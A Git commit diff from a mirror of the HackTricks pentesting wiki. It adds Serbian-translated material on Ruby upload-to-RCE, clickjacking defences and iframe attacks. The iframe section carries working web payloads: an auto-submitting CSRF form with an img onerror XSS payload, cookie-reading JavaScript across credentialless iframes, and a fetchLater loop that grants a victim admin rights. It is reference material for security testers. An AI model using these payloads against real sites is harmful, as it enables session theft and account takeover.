mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
4f6bda3615
commit
af9e824527
@ -435,6 +435,7 @@
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
- [Rocket Chat](network-services-pentesting/pentesting-web/rocket-chat.md)
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
|
@ -0,0 +1,9 @@
|
||||
# Ruby Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Učitavanje fajlova za RCE
|
||||
|
||||
Kao što je objašnjeno u [ovom članku](https://www.offsec.com/blog/cve-2024-46986/), učitavanje `.rb` fajla u osetljive direktorijume kao što su `config/initializers/` može dovesti do daljinskog izvršavanja koda (RCE) u Ruby on Rails aplikacijama.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -92,7 +92,7 @@ background: #F00;
|
||||
Ako ste identifikovali **XSS napad koji zahteva da korisnik klikne** na neki element da bi **pokrenuo** XSS i stranica je **ranjiva na clickjacking**, mogli biste to iskoristiti da prevarite korisnika da klikne na dugme/link.\
|
||||
Primer:\
|
||||
Pronašli ste **self XSS** u nekim privatnim podacima naloga (podaci koje **samo vi možete postaviti i čitati**). Stranica sa **formom** za postavljanje ovih podataka je **ranjiva** na **Clickjacking** i možete **prepopuniti** **formu** sa GET parametrima.\
|
||||
Napadač bi mogao pripremiti **Clickjacking** napad na tu stranicu **prepopunjavajući** **formu** sa **XSS payload-om** i **prevariti** **korisnika** da **pošalje** formu. Tako, **kada se forma pošalje** i vrednosti su izmenjene, **korisnik će izvršiti XSS**.
|
||||
Napadač bi mogao pripremiti **Clickjacking** napad na tu stranicu **prepopunjavajući** **formu** sa **XSS payload-om** i **varajući** **korisnika** da **pošalje** formu. Tako, **kada se forma pošalje** i vrednosti su izmenjene, **korisnik će izvršiti XSS**.
|
||||
|
||||
### DoubleClickjacking
|
||||
|
||||
@ -119,7 +119,7 @@ Skripte koje se izvršavaju na klijentskoj strani mogu izvesti radnje da spreče
|
||||
Međutim, ovi skripti za razbijanje okvira mogu biti zaobiđeni:
|
||||
|
||||
- **Bezbednosne postavke pregledača:** Neki pregledači mogu blokirati ove skripte na osnovu svojih bezbednosnih postavki ili nedostatka podrške za JavaScript.
|
||||
- **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem `sandbox` atributa sa `allow-forms` ili `allow-scripts` vrednostima bez `allow-top-navigation`. Ovo sprečava iframe da verifikuje da li je on gornji prozor, npr.,
|
||||
- **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem `sandbox` atributa sa `allow-forms` ili `allow-scripts` vrednostima bez `allow-top-navigation`. Ovo sprečava iframe da proveri da li je on gornji prozor, npr.,
|
||||
```html
|
||||
<iframe
|
||||
id="victim_website"
|
||||
@ -132,11 +132,11 @@ sandbox="allow-forms allow-scripts"></iframe>
|
||||
|
||||
#### X-Frame-Options
|
||||
|
||||
**`X-Frame-Options` HTTP odgovor header** obaveštava pretraživače o legitimnosti renderovanja stranice u `<frame>` ili `<iframe>`, pomažući u sprečavanju Clickjacking-a:
|
||||
**`X-Frame-Options` HTTP odgovor header** obaveštava pretraživače o legitimnosti prikazivanja stranice u `<frame>` ili `<iframe>`, pomažući u sprečavanju Clickjacking-a:
|
||||
|
||||
- `X-Frame-Options: deny` - Nijedna domena ne može uokviriti sadržaj.
|
||||
- `X-Frame-Options: sameorigin` - Samo trenutni sajt može uokviriti sadržaj.
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - Samo određeni 'uri' može uokviriti stranicu.
|
||||
- `X-Frame-Options: allow-from https://trusted.com` - Samo navedeni 'uri' može uokviriti stranicu.
|
||||
- Imajte na umu ograničenja: ako pretraživač ne podržava ovu direktivu, možda neće raditi. Neki pretraživači preferiraju CSP frame-ancestors direktivu.
|
||||
|
||||
#### Content Security Policy (CSP) frame-ancestors direktiva
|
||||
@ -155,7 +155,7 @@ Dalje informacije i složeni primeri mogu se naći u [frame-ancestors CSP dokume
|
||||
|
||||
### Content Security Policy (CSP) sa `child-src` i `frame-src`
|
||||
|
||||
**Content Security Policy (CSP)** je mera bezbednosti koja pomaže u sprečavanju Clickjacking-a i drugih napada sa injekcijom koda tako što specificira koje izvore pretraživač treba da dozvoli za učitavanje sadržaja.
|
||||
**Content Security Policy (CSP)** je mera bezbednosti koja pomaže u sprečavanju Clickjacking-a i drugih napada injekcije koda tako što specificira koje izvore pretraživač treba da dozvoli za učitavanje sadržaja.
|
||||
|
||||
#### `frame-src` Direktiva
|
||||
|
||||
@ -191,7 +191,7 @@ top.location = self.location
|
||||
```
|
||||
#### Korišćenje Anti-CSRF Tokena
|
||||
|
||||
- **Validacija Tokena:** Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje namerno poslati od strane korisnika, a ne kroz Clickjacked stranicu.
|
||||
- **Validacija Tokena:** Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje namerno izvršeni od strane korisnika, a ne putem Clickjacked stranice.
|
||||
|
||||
## Reference
|
||||
|
||||
|
@ -45,13 +45,13 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
Ako pristupite prethodnom html-u putem http servera (kao što je `python3 -m http.server`), primetićete da će svi skripti biti izvršeni (pošto ne postoji CSP koji to sprečava). **roditelj neće moći da pristupi `secret` varijabli unutar bilo kog iframe-a** i **samo iframovi if2 i if3 (koji se smatraju istim sajtom) mogu pristupiti tajni** u originalnom prozoru.\
|
||||
Obratite pažnju da se if4 smatra da ima `null` poreklo.
|
||||
Ako pristupite prethodnom html-u putem http servera (kao što je `python3 -m http.server`), primetićete da će svi skripti biti izvršeni (pošto ne postoji CSP koji to sprečava). **roditelj neće moći da pristupi `secret` varijabli unutar bilo kog iframe-a** i **samo iframe-ovi if2 i if3 (koji se smatraju istim sajtom) mogu pristupiti tajni** u originalnom prozoru.\
|
||||
Obratite pažnju na to kako se if4 smatra da ima `null` poreklo.
|
||||
|
||||
### Iframes sa CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!NOTE]
|
||||
> Molimo vas, obratite pažnju kako u sledećim zaobilaženjima odgovor na iframed stranicu ne sadrži nijedan CSP header koji sprečava izvršavanje JS-a.
|
||||
> [!TIP]
|
||||
> Molimo vas, obratite pažnju na to kako u sledećim zaobilaženjima odgovor na iframed stranicu ne sadrži nijedan CSP header koji sprečava izvršavanje JS-a.
|
||||
|
||||
`self` vrednost `script-src` neće dozvoliti izvršavanje JS koda koristeći `data:` protokol ili `srcdoc` atribut.\
|
||||
Međutim, čak i `none` vrednost CSP-a će dozvoliti izvršavanje iframe-ova koji stavljaju URL (potpun ili samo putanju) u `src` atribut.\
|
||||
@ -81,7 +81,7 @@ Međutim, **samo `if1` i `if2` skripte će biti izvršene, ali samo `if1` će mo
|
||||
|
||||
.png>)
|
||||
|
||||
Stoga, moguće je **obići CSP ako možete da otpremite JS datoteku na server i učitate je putem iframe-a čak i sa `script-src 'none'`**. Ovo se **potencijalno može uraditi i zloupotrebom same-site JSONP krajnje tačke**.
|
||||
Stoga, moguće je **obići CSP ako možete da otpremite JS datoteku na server i učitate je putem iframe-a čak i sa `script-src 'none'`**. Ovo se **potencijalno može uraditi i zloupotrebom istog JSONP krajnjeg tačke**.
|
||||
|
||||
Možete testirati ovo sa sledećim scenarijom gde je kolačić ukraden čak i sa `script-src 'none'`. Samo pokrenite aplikaciju i pristupite joj putem vašeg pregledača:
|
||||
```python
|
||||
@ -130,10 +130,57 @@ Kada se koristi, `sandbox` atribut nameće nekoliko ograničenja:
|
||||
- Navigacija vrhunskim kontekstom pretraživanja sadržaja od strane samog sadržaja je sprečena.
|
||||
- Funkcije koje se automatski aktiviraju, poput reprodukcije videa ili automatskog fokusiranja kontrola formi, su blokirane.
|
||||
|
||||
Vrednost atributa može biti ostavljena prazna (`sandbox=""`) da bi se primenila sva prethodno navedena ograničenja. Alternativno, može se postaviti na listu specifičnih vrednosti odvojenih razmakom koje izuzimaju iframe od određenih ograničenja.
|
||||
Vrednost atributa može biti ostavljena prazna (`sandbox=""`) da bi se primenila sva prethodno navedena ograničenja. Alternativno, može se postaviti na listu specifičnih vrednosti odvojenih razmacima koje izuzimaju iframe od određenih ograničenja.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
Kao što je objašnjeno u [ovom članku](https://blog.slonser.info/posts/make-self-xss-great-again/), `credentialless` oznaka u iframe-u se koristi za učitavanje stranice unutar iframe-a bez slanja kredencijala u zahtevu, dok se održava politika istog porekla (SOP) učitane stranice u iframe-u.
|
||||
|
||||
Ovo omogućava iframe-u da pristupi osetljivim informacijama iz drugog iframe-a u istom SOP-u učitanom na roditeljskoj stranici:
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
- Primer eksploatacije: Self-XSS + CSRF
|
||||
|
||||
U ovom napadu, napadač priprema zloćudnu veb stranicu sa 2 iframe-a:
|
||||
|
||||
- Iframe koji učitava stranicu žrtve sa `credentialless` oznakom sa CSRF-om koji pokreće XSS (Zamislite Self-XSS u korisničkom imenu korisnika):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://victim.domain/login" method="POST">
|
||||
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
|
||||
<input type="hidden" name="password" value="Super_s@fe_password" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
<script>
|
||||
document.forms[0].submit();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
- Drugi iframe koji zapravo ima korisnika prijavljenog (bez `credentialless` oznake).
|
||||
|
||||
Zatim, iz XSS-a je moguće pristupiti drugom iframe-u jer imaju isti SOP i ukrasti kolačić, na primer izvršavanjem:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Attack
|
||||
|
||||
Kao što je navedeno u [ovom članku](https://blog.slonser.info/posts/make-self-xss-great-again/), API `fetchLater` omogućava konfiguraciju zahteva koji će biti izvršen kasnije (nakon određenog vremena). Stoga, ovo se može zloupotrebiti da, na primer, prijavi žrtvu unutar napadačeve sesije (sa Self-XSS), postavi `fetchLater` zahtev (da promeni lozinku trenutnog korisnika, na primer) i odjavi se iz napadačeve sesije. Zatim, žrtva se prijavljuje u svoju sesiju i `fetchLater` zahtev će biti izvršen, menjajući lozinku žrtve na onu koju je postavio napadač.
|
||||
|
||||
Na ovaj način, čak i ako URL žrtve ne može biti učitan u iframe (zbog CSP-a ili drugih ograničenja), napadač i dalje može izvršiti zahtev u sesiji žrtve.
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
let arr = [minute, minute * 60, minute * 60 * 24, ...]
|
||||
for (let timeout of arr)
|
||||
fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## Iframes u SOP
|
||||
|
||||
Proverite sledeće stranice:
|
||||
|
Loading…
x
Reference in New Issue
Block a user